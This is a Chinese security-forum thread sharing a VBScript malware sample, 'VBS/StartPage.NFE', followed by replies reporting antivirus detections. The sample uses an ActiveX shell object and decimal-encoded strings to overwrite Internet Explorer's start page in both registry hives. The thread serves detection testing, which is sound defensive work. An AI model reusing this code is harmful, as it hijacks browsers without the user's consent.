VBS/StartPage.NFE

显示全部楼层 · 发表于 2015-5-29 08:02:35

本帖最后由 heishen2010 于 2015-5-29 08:04 编辑

[mw_shl_code=javascript,true]dim a
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set reg = df.createobject(".shell","")
hr="092083079070084087065082069092077105099114111115111102116092073110116101114110101116032069120112108111114101114092077097105110092083116097114116032080097103101"
re1="072075069089095076079067065076095077065067072073078069"
re2="072075069089095067085082082069078084095085083069082"
re3="120115120045118098115046109105104097110098108111103046099111109"
For a = 1 To Len(hr) Step 3
hr2=hr2 & chr(mid(hr,a,3))
next
For a = 1 To Len(re1) Step 3
re1_b=re1_b & chr(mid(re1,a,3))
next
For a = 1 To Len(re2) Step 3
re2_b=re2_b & chr(mid(re2,a,3))
next
reg.regwrite re1_b & hr2,"http://www.mehdikarkoki.persianblog.ir"
reg.regwrite re2_b & hr2,"http://www.mehdikarkoki.persianblog.ir"[/mw_shl_code]

显示全部楼层 · 发表于 2015-5-29 08:13:09

Collected

显示全部楼层 · 发表于 2015-5-29 08:54:42

to OA

显示全部楼层 · 发表于 2015-5-29 11:18:33

显示全部楼层 · 发表于 2015-5-29 11:22:22

瑞星 Miss，查脚本还是比较弱啊。

显示全部楼层 · 发表于 2015-5-29 11:52:50

Website blocked!
G DATA INTERNET SECURITY has denied access to this website.
The site contains infected code: HTML.Trojan.Agent.J60VFI (Engine B).

显示全部楼层 · 发表于 2015-5-29 12:10:27

江民

显示全部楼层 · 发表于 2015-5-29 12:24:53

jayavira 发表于 2015-5-29 11:18

那个样本我也用eset9试了，可win8.1弹不出这样的拦截窗口，所以就放弃了

显示全部楼层 · 发表于 2015-5-29 12:44:51

百度，解压杀。

显示全部楼层 · 发表于 2015-5-29 13:57:14

230f4 发表于 2015-5-29 12:24
那个样本我也用eset9试了，可win8.1弹不出这样的拦截窗口，所以就放弃了

9.0你不是安装在虚拟机吗？

[病毒样本] VBS/StartPage.NFE

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源